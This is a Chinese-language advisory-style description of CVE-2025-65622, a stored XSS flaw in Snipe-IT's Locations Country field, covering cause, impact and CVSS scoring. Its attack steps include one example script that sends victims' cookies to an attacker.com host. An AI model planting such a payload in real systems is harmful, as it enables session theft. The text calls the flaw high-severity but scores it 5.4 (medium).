CVE-2025-65622CVE-2025-65622是Snipe-IT资产管理系统中的一个高危存储型跨站脚本(Stored XSS)漏洞。该漏洞存在于Snipe-IT 8.3.4之前版本的位置管理功能中,具体位于Locations模块的Country(国家)字段。攻击者利用该漏洞可以通过在Country字段中注入恶意的JavaScript代码,当其他用户访问或管理位置信息时,注入的恶意脚本会在受害者浏览器中执行。
由于该漏洞属于存储型XSS,恶意代码会被永久存储在系统数据库中,所有访问相关页面的用户都会受到攻击影响。攻击者利用此漏洞可以窃取受害者的会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。漏洞的利用门槛相对较低,只需要低权限的认证用户即可实施攻击,但需要目标用户进行一定的交互操作(如访问位置管理页面)。
Snipe-IT是一款广泛使用的开源IT资产管理系统,在全球范围内被众多企业和组织采用。该系统用于跟踪和管理IT设备、软件许可证、配件等资产。由于系统通常存储敏感的组织信息和用户数据,此类XSS漏洞可能导致严重的安全后果,包括敏感信息泄露和账户被完全接管。
该漏洞的技术原理涉及Snipe-IT应用在处理Locations模块中Country字段输入时的输入验证不足。系统在接收用户输入的国家/地区信息时,未对特殊字符和HTML/JavaScript标签进行充分的过滤和转义处理就直接存入数据库。当其他用户通过Web界面查看位置列表或详情页面时,系统从数据库中读取未经过滤的内容并直接渲染到HTML页面中,导致恶意JavaScript代码被浏览器解析执行。
具体攻击流程如下:1)攻击者以低权限用户身份登录Snipe-IT系统;2)导航到Locations管理功能模块;3)在创建或编辑位置时,在Country字段中注入恶意JavaScript代码,例如:<script>document.location='https://attacker.com/steal?c='+document.cookie</script>;4)系统将该恶意代码存入数据库;5)当管理员或其他用户访问位置管理页面时,恶意脚本在其浏览器中执行;6)攻击者通过窃取的Cookie实现会话劫持或获取其他敏感信息。
该漏洞的CVSS 3.1评分为5.4(中等严重程度),向量为AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N,表明攻击复杂度低、需要低权限、可通过网络利用,但需要用户交互且影响范围限于特定资源。